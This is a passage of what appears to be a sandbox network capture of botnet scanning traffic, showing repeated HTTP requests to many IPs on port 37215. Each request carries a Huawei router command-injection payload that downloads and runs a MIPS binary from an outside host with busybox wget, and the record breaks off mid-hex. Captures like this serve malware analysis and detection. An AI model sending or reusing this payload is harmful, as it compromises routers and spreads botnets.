6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	49352	156.68.142.203	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.905024052 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	40922	156.137.24.0	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.906198978 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	60822	134.145.77.85	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.907031059 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	49614	196.45.83.43	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.907989979 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	48728	181.158.69.122	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.909288883 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	37932	46.93.2.228	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.910187006 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	48808	156.224.97.34	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.910994053 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	39514	223.8.96.153	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.912199020 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	35226	196.127.152.141	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.913424015 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	48920	196.56.200.115	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.914186954 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	43676	156.181.141.115	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.915067911 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 